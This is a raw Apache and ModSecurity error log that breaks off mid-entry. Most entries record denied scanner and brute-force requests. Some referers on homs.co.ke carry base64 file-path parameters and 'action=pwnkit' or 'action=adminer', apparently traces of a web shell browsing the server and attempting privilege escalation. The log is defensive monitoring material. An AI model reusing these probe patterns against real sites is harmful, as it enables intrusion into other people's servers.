ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xASmiP80klyS0NnrrKgABI1I"] [Sat Jun 13 18:08:33.643578 2026] [security2:error] [pid 531797:tid 532074] [client 191.233.234.186:53502] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/samll.php"] [unique_id "ai3xAcTA7b1mZrmcA-8TRgAAAmA"] [Sat Jun 13 18:08:33.679626 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:08:33.679979 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:08:33.747896 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:08:33.748160 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkx [Sat Jun 13 18:08:33.868048 2026] [access_compat:error] [pid 531797:tid 531906] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmUvbmFubw== [Sat Jun 13 18:08:33.868487 2026] [access_compat:error] [pid 531797:tid 531906] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3Ivc2hhcmUvbmFubw== [Sat Jun 13 18:08:33.927616 2026] [access_compat:error] [pid 531155:tid 531161] [remote 57.141.14.24:55238] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:33.927916 2026] [access_compat:error] [pid 531155:tid 531161] [remote 57.141.14.24:55238] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:34.000585 2026] [access_compat:error] [pid 531797:tid 531940] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3Ivc2hhcmUvbmFubw== [Sat Jun 13 18:08:34.001043 2026] [access_compat:error] [pid 531797:tid 531940] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3Ivc2hhcmUvbmFubw== [Sat Jun 13 18:08:34.112309 2026] [security2:error] [pid 531797:tid 532021] [client 20.151.217.54:48605] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/fix.php"] [unique_id "ai3xAsTA7b1mZrmcA-8TWAAAAi0"] [Sat Jun 13 18:08:34.178397 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:08:34.178698 2026] [access_compat:error] [pid 531155:tid 531156] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:08:34.272415 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQx [Sat Jun 13 18:08:34.272849 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNzQx [Sat Jun 13 18:08:34.322962 2026] [access_compat:error] [pid 531797:tid 531933] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9pbmNsdWRlL3N5cw== [Sat Jun 13 18:08:34.323246 2026] [access_compat:error] [pid 531797:tid 531933] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9pbmNsdWRlL3N5cw== [Sat Jun 13 18:08:34.336879 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.21:48509] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:34.337318 2026] [access_compat:error] [pid 531155:tid 531251] [remote 57.141.14.21:48509] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:34.414770 2026] [security2:error] [pid 531797:tid 531867] [remote 17.246.23.61:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xAsTA7b1mZrmcA-8TYAACjQM"] [Sat Jun 13 18:08:34.481320 2026] [access_compat:error] [pid 531797:tid 531965] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Vzci9pbmNsdWRlL3N5cw== [Sat Jun 13 18:08:34.481644 2026] [access_compat:error] [pid 531797:tid 531965] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Vzci9pbmNsdWRlL3N5cw== [Sat Jun 13 18:08:34.574880 2026] [core:error] [pid 531155:tid 531355] [client 47.79.207.94:42440] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:08:34.574902 2026] [core:error] [pid 531155:tid 531355] [client 47.79.207.94:42440] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:08:34.577010 2026] [security2:error] [pid 531797:tid 531948] [remote 17.241.219.249:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 249.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xAsTA7b1mZrmcA-8TagACU1Q"] [Sat Jun 13 18:08:34.685018 2026] [security2:error] [pid 531797:tid 531973] [remote 17.241.227.141:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 141.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xAsTA7b1mZrmcA-8TbAACZmw"] [Sat Jun 13 18:08:34.721864 2026] [security2:error] [pid 531797:tid 532114] [client 191.233.234.186:44769] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/crgio.php"] [unique_id "ai3xAsTA7b1mZrmcA-8TbQAAAoc"] [Sat Jun 13 18:08:34.728242 2026] [access_compat:error] [pid 531797:tid 531981] [remote 57.141.14.94:28794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:34.728516 2026] [access_compat:error] [pid 531797:tid 531981] [remote 57.141.14.94:28794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:34.819053 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:08:34.819335 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:08:34.856888 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:08:34.857155 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:08:35.010839 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2xpYi9rYmQva2V5bWFwcw== [Sat Jun 13 18:08:35.011309 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2xpYi9rYmQva2V5bWFwcw== [Sat Jun 13 18:08:35.119731 2026] [security2:error] [pid 531155:tid 531352] [client 172.171.3.232:44892] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/acip.php"] [unique_id "ai3xAymiP80klyS0NnrrSgAAAU0"] [Sat Jun 13 18:08:35.124344 2026] [security2:error] [pid 531797:tid 531880] [remote 17.22.253.202:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 202.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xA8TA7b1mZrmcA-8TfgACIxA"] [Sat Jun 13 18:08:35.174025 2026] [access_compat:error] [pid 531797:tid 531872] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L2xpYi9rYmQva2V5bWFwcw== [Sat Jun 13 18:08:35.174402 2026] [access_compat:error] [pid 531797:tid 531872] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L2xpYi9rYmQva2V5bWFwcw== [Sat Jun 13 18:08:35.244480 2026] [security2:error] [pid 531155:tid 531218] [remote 74.7.227.22:45002] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xAymiP80klyS0NnrrSwABZz4"], referer: https://mail.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxNDkwL25ldA== [Sat Jun 13 18:08:35.261669 2026] [access_compat:error] [pid 531797:tid 531875] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:35.261960 2026] [access_compat:error] [pid 531797:tid 531875] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:35.280883 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:35.281337 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:35.359543 2026] [security2:error] [pid 531155:tid 531166] [remote 17.246.19.15:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 15.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xAymiP80klyS0NnrrTwABYwo"] [Sat Jun 13 18:08:35.443837 2026] [security2:error] [pid 531797:tid 531873] [remote 74.7.242.16:57868] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/"] [unique_id "ai3xA8TA7b1mZrmcA-8TiQACFAk"], referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXMvY2xpcA== [Sat Jun 13 18:08:35.455614 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.75:50488] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:35.455920 2026] [access_compat:error] [pid 531155:tid 531206] [remote 57.141.14.75:50488] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:35.500108 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:08:35.500381 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:08:35.510261 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.28:24438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:35.510557 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.28:24438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:35.526738 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.95:27507] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:35.527189 2026] [access_compat:error] [pid 531797:tid 531877] [remote 57.141.14.95:27507] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:35.638195 2026] [security2:error] [pid 531797:tid 531950] [remote 209.87.149.26:52583] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "inspirationalspeakerstm.ca"] [uri "/wp-login.php"] [unique_id "ai3xA8TA7b1mZrmcA-8TjwACK1Y"] [Sat Jun 13 18:08:35.667531 2026] [security2:error] [pid 531155:tid 531402] [client 20.151.217.54:48155] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/export.php"] [unique_id "ai3xAymiP80klyS0NnrrVQAAAX8"] [Sat Jun 13 18:08:35.779107 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:35.779383 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:35.830278 2026] [security2:error] [pid 531797:tid 532102] [client 195.210.114.168:29241] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.114.210.195.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "retaltravel.com"] [uri "/wp-login.php"] [unique_id "ai3xA8TA7b1mZrmcA-8TlgAAAns"] [Sat Jun 13 18:08:35.863539 2026] [access_compat:error] [pid 531797:tid 531869] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2xpYjY0L3BrZ2NvbmZpZw== [Sat Jun 13 18:08:35.863829 2026] [access_compat:error] [pid 531797:tid 531869] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2xpYjY0L3BrZ2NvbmZpZw== [Sat Jun 13 18:08:35.967265 2026] [security2:error] [pid 531797:tid 531921] [remote 